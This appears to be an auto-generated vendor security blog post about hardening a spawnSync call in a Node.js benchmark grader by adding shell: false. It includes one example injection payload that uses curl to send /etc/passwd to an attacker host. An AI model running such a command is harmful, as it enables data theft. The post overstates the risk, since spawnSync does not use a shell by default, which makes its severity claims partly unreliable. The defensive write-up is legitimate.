Back to Blog
high SEVERITY8 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection risk was discovered in `bench/src/grade.js` where a `child_process` call was made without explicitly disabling shell interpretation. By adding `shell: false` to the `spawnSync` options, the fix ensures that user-controlled input passed as the `task` argument cannot be weaponized to execute arbitrary shell commands. This proactive hardening raises the bar against automated exploit-chaining tools that target Node.js libraries.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This vulnerability is a command injection risk (CWE-78) in Node.js, found in `bench/src/grade.js` at line 19. The `grade()` function passed a `task` argument directly into a `child_process` call without setting `shell: false`, meaning shell metacharacters in a user-controlled `task` value could be interpreted by the OS shell. The fix adds `shell: false` to the options object, preventing shell expansion and ensuring the process is spawned directly without shell interpretation.

Vulnerability at a Glance

cweCWE-78
fixAdded shell: false to the spawnSync options object in grade.js
riskAttacker-controlled input passed to child_process could execute arbitrary OS commands
languageJavaScript (Node.js)
root causechild_process invoked without shell:false, allowing shell metacharacter interpretation
vulnerabilityCommand Injection via child_process without shell:false

How Command Injection Happens in Node.js child_process Calls and How to Fix It


The Vulnerability at a Glance

Field Detail
Vulnerability Command Injection via child_process without shell: false
CWE CWE-78: Improper Neutralization of Special Elements in an OS Command
Language JavaScript (Node.js)
Risk Arbitrary OS command execution via shell metacharacter injection
Root Cause child_process invoked without shell: false, enabling shell interpretation
Fix Added shell: false to spawnSync options in grade.js

Introduction

The bench/src/grade.js file handles benchmark grading logic — it runs tasks, checks their exit status, and collects output. But a subtle flaw in the grade() function at line 19 created a meaningful security risk: a child_process call was made without explicitly setting shell: false, leaving the door open for shell metacharacter injection if the task argument ever carries attacker-controlled data.

This is a class of vulnerability that doesn't always look dangerous in isolation. The code might work perfectly fine in a controlled environment. But in the context of a Node.js library — where downstream consumers may pass inputs derived from user-facing systems — an unguarded child_process call is an exploit primitive waiting to be chained.


The Vulnerability Explained

What the code looked like before the fix

In bench/src/grade.js, the grade(task, code) function uses a child_process call (specifically spawnSync or equivalent) to execute a task. The options object passed to that call looked like this:

// Before fix — bench/src/grade.js (around line 19)
function grade(task, code) {
  // ...
  const r = spawnSync(task, {
    cwd: dir,
    timeout: 20000,
    encoding: "utf8",
    // shell: false was NOT set — shell interpretation was implicitly possible
  });
  const passed = r.status === 0;
  // ...
}

The critical missing option is shell: false. Without it, depending on how the task argument is constructed and which child_process variant is used, the OS shell may be invoked to interpret the command string — including any shell metacharacters embedded within it.

Why this is dangerous

When shell is not explicitly set to false, Node.js may invoke /bin/sh -c (on Unix) or cmd.exe /d /s /c (on Windows) to execute the command. This means the shell itself processes the string before execution — and the shell understands special characters like:

  • ; — command separator
  • && and || — conditional chaining
  • | — pipe to another process
  • $() and ` — command substitution
  • > and >> — output redirection

A concrete attack scenario

Imagine a downstream consumer of this Node.js library that constructs a task value from user input — for example, a CI/CD integration tool that lets users specify benchmark task names via a configuration file or API parameter. If that task value reaches grade() without sanitization, an attacker could supply:

legitimate-task; curl https://attacker.com/exfil?data=$(cat /etc/passwd)

Without shell: false, the shell would interpret the ; separator and execute both the legitimate task and the attacker's injected command — in this case exfiltrating /etc/passwd to a remote server.

Even if today's direct callers of grade() are trusted, the absence of shell: false is an exploit primitive. Automated exploit-development tools can chain this with other weaknesses (e.g., a path traversal that writes a malicious config, or an injection in a higher-level API that feeds into task) to achieve remote code execution.

Real-world impact for this component

This is a Node.js benchmarking library. Its consumers include:
- Developers running automated benchmark suites in CI pipelines
- Tools that accept task names or benchmark configurations from external sources
- Any integration that programmatically constructs task values from data that originates outside the codebase

For any of these consumers, an unguarded child_process call in grade() is a latent risk that becomes exploitable the moment the data flow from external input to this function is established.


The Fix

The fix is surgical and elegant: a single line added to the options object passed to the child_process call.

Before and After

// BEFORE — bench/src/grade.js:19
const r = spawnSync(task, {
  cwd: dir,
  timeout: 20000,
  encoding: "utf8",
  // No shell option — defaults may allow shell interpretation
});
// AFTER — bench/src/grade.js:19
const r = spawnSync(task, {
  cwd: dir,
  timeout: 20000,
  encoding: "utf8",
  shell: false,  // ← Explicitly disables shell interpretation
});

Why shell: false solves the problem

Setting shell: false tells Node.js to spawn the process directly — bypassing the OS shell entirely. The task argument is passed as a raw executable path or command, and any arguments are passed as an array rather than a shell-interpreted string. This means:

  1. No shell metacharacter expansion;, &&, |, $() are treated as literal characters, not shell syntax.
  2. No shell injection surface — there is no shell process to inject into.
  3. Predictable execution — the process behaves identically regardless of what characters appear in the input.

The fix is scoped to a single file and a single options object. It does not change the behavior for valid, benign inputs — a well-formed task value will execute exactly as before. It only closes the attack surface for malformed or malicious inputs.


Prevention & Best Practices

1. Always explicitly set shell: false in child_process calls

Never rely on default behavior. Make your security intent explicit:

// ✅ Safe — shell interpretation disabled
const result = spawnSync(executablePath, args, {
  shell: false,
  cwd: workingDir,
  timeout: 30000,
  encoding: "utf8",
});

// ⚠️ Risky — shell defaults vary by Node.js version and platform
const result = spawnSync(executablePath, {
  cwd: workingDir,
});

2. Prefer spawn / spawnSync over exec / execSync

exec and execSync always invoke a shell. spawn and spawnSync do not by default (and can be hardened with shell: false). For running known executables with known arguments, spawnSync with shell: false is the right choice.

// ✅ Preferred — no shell, arguments as array
const { spawnSync } = require("child_process");
spawnSync("node", ["--version"], { shell: false });

// ❌ Avoid for user-controlled input — always uses shell
const { execSync } = require("child_process");
execSync(`node --version`);

3. Validate and allowlist input before it reaches child_process

Even with shell: false, it's good practice to validate the task argument before passing it to grade():

const ALLOWED_TASKS = new Set(["benchmark-a", "benchmark-b", "benchmark-c"]);

function grade(task, code) {
  if (!ALLOWED_TASKS.has(task)) {
    throw new Error(`Invalid task: ${task}`);
  }
  // ... proceed with spawnSync
}

4. Run Semgrep in your CI pipeline

The Semgrep rule javascript.lang.security.detect-child-process that flagged this vulnerability is freely available. Add it to your CI pipeline to catch similar issues before they reach production:

# .github/workflows/security.yml
- name: Run Semgrep
  uses: semgrep/semgrep-action@v1
  with:
    config: "p/javascript"

5. Apply the principle of least privilege

Even with shell: false, the child process inherits the permissions of the Node.js process. Run benchmark processes with the minimum necessary permissions, and consider using OS-level sandboxing (e.g., seccomp, namespaces) for untrusted workloads.

Security Standards Reference

  • OWASP: Command Injection — OS Command Injection prevention guidance
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP ASVS: V5.3.8 — Verify that the application protects against OS command injection

Key Takeaways

  • shell: false is a mandatory hardening step for any child_process call in grade.js or similar Node.js benchmark/runner utilities — not an optional nicety.
  • The task argument in grade(task, code) is an injection point: any code path that allows external data to flow into this parameter without shell: false is exploitable.
  • Missing a single option (shell: false) is enough to create a high-severity vulnerability — the fix is one line, but its absence has significant consequences.
  • Node.js libraries have a multiplied attack surface: a vulnerability in a library affects every downstream consumer, not just the library itself.
  • Exploit primitives matter even when not independently exploitable: the absence of shell: false is a building block that automated attack tools can chain with other weaknesses to achieve RCE.

How Orbis AppSec Detected This

  • Source: The task function argument in grade(task, code) — a value that can be influenced by downstream library consumers or external configuration.
  • Sink: The child_process call at bench/src/grade.js:19, where task is passed without shell interpretation being disabled.
  • Missing control: No shell: false option in the spawnSync invocation, and no allowlist validation of the task value before it reaches the process spawn call.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Added shell: false to the options object passed to spawnSync in grade(), eliminating shell interpretation of the task argument.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

A single missing option — shell: false — in bench/src/grade.js created a command injection risk that could have been exploited by any downstream consumer of this Node.js library that passes externally-influenced data into the grade() function. The fix is minimal, targeted, and behavior-preserving for valid inputs.

This vulnerability is a reminder that security in Node.js child_process usage isn't just about avoiding exec() — it's about being explicit and intentional with every option you pass. Default behavior is not safe behavior. Setting shell: false should be a reflex whenever you reach for spawnSync or spawn.

Proactive removal of exploit primitives like this one — even before a confirmed exploit path exists — is exactly the kind of defense-in-depth that makes systems resilient against increasingly capable automated attack tools.


References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controlled data is passed to a child_process call without disabling shell interpretation, allowing shell metacharacters like `;`, `&&`, or `|` to execute arbitrary OS commands.

How do you prevent command injection in Node.js child_process?

Always pass `shell: false` in the options object when calling child_process functions like spawnSync, spawn, or execFile. This prevents the OS shell from interpreting metacharacters in the arguments.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is input validation alone enough to prevent command injection in Node.js?

No. Input validation helps but is not sufficient on its own. Setting `shell: false` is a defense-in-depth measure that eliminates the shell interpretation layer entirely, regardless of what input validation is in place.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep have rules specifically targeting child_process calls that may process user-controlled arguments, as demonstrated by this fix which was detected by the `javascript.lang.security.detect-child-process` Semgrep rule.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #46

Related Articles

high

How Command Injection Happens in Node.js Route Handlers and How to Fix It

A high-severity command injection vulnerability was discovered in `webhook/src/routes/bid-requests/create.route.js`, where user-controlled values were passed directly to route handlers without any schema validation. Without input validation, attackers could supply malformed or malicious values — including shell metacharacters — that propagate into downstream command construction, enabling arbitrary command execution. The fix adds strict UUID and type validation middleware directly in the route d

high

How Child Process Command Injection happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `src/account_manager.js`, where user-controllable input was passed directly to Node.js's `child_process` without sanitization. Alongside this, the companion `src/keyring_helper.py` GNOME Keyring helper lacked any execution guard, meaning any local user could invoke it to read, write, or delete stored OAuth tokens. The fix adds an OS-level ownership check that restricts execution of the keyring helper to the script's owner only.

critical

How Command Injection happens in Node.js CLI scripts and how to fix it

A Node.js CLI script in `scripts/refresh-htv-signature.js` accepted a user-controlled `slug` argument from `process.argv` and interpolated it directly into a URL string without any validation. While the immediate usage was an HTTP request via `axios.get()`, the absence of input sanitization created a pathway for command injection in current and future code paths. The fix adds a strict allowlist regex that rejects any slug not matching `[a-zA-Z0-9_-]+` before it can reach any downstream operation

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators could allow attackers to inject and execute arbitrary shell commands. The fix upgrades the dependency to shell-quote 1.8.4 and pins the version using npm's `overrides` field to ensure no transitive dependency can reintroduce the vulnerable version. This type of vulnerability is particularly dangerous in Node.js toolchains where shell-quote is used to safely construct s

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `js/cu_linux_executor.js`, where `child_process.execSync()` was used to run shell commands with potentially unsanitized input. The fix replaces shell-based execution with `execFileSync()`, which spawns processes directly without invoking a shell, eliminating the possibility of shell metacharacter injection. This change is a critical defensive hardening step that removes an exploit primitive that could be chained with other weaknes

critical

How Command Injection happens in Python subprocess calls and how to fix it

A critical command injection vulnerability in `host/beectl-py2.py` allowed attackers to pass arbitrary subprocess arguments through a browser extension's JSON configuration, enabling execution of malicious shell commands on the host machine. The fix introduces two new validation functions — `sanitize_args()` and `sanitize_ext()` — that enforce strict type and content constraints on user-controlled input before it reaches the `subprocess` call. This change closes a direct path from browser extens